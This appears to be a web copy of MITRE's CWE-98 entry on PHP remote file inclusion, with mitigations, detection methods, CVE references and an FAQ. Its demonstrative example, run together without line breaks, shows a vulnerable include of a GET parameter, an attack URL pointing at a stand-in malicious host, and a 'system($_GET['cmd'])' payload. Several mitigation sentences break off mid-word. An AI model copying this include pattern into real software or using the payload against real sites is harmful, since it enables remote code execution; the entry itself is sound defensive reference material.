Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Potential Impact
Integrity, Confidentiality, Availability
Execute Unauthorized Code or Commands
Demonstrative Examples
$dir = $_GET['module_name'];include($dir . "/function.php");victim.php?module_name=http://malicious.example.comsystem($_GET['cmd']);victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l/bin/ls -lMitigations & Prevention
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across relat
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed t
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
Detection Methods
- Manual Analysis High — Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.
- Automated Static Analysis — The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.
Real-World CVE Examples
| CVE ID | Description |
|---|---|
| CVE-2004-0285 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2004-0030 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2004-0068 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2005-2157 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2005-2162 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2005-2198 | Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. |
| CVE-2004-0128 | Modification of assumed-immutable variable in configuration script leads to file inclusion. |
| CVE-2005-1864 | PHP file inclusion. |
| CVE-2005-1869 | PHP file inclusion. |
| CVE-2005-1870 | PHP file inclusion. |
| CVE-2005-2154 | PHP local file inclusion. |
| CVE-2002-1704 | PHP remote file include. |
| CVE-2002-1707 | PHP remote file include. |
| CVE-2005-1964 | PHP remote file include. |
| CVE-2005-1681 | PHP remote file include. |
Showing 15 of 20 observed examples.
Related Weaknesses
Taxonomy Mappings
- PLOVER: — PHP File Include
- OWASP Top Ten 2007: A3 — Malicious File Execution
- WASC: 5 — Remote File Inclusion
Frequently Asked Questions
What is CWE-98?
CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Variant-level weakness. The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
How can CWE-98 be exploited?
Attackers can exploit CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) to execute unauthorized code or commands. This weakness is typically introduced during the Implementation phase of software development.
How do I prevent CWE-98?
Key mitigations include: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
What is the severity of CWE-98?
CWE-98 is classified as a Variant-level weakness (Low-Medium abstraction). It has been observed in 20 real-world CVEs.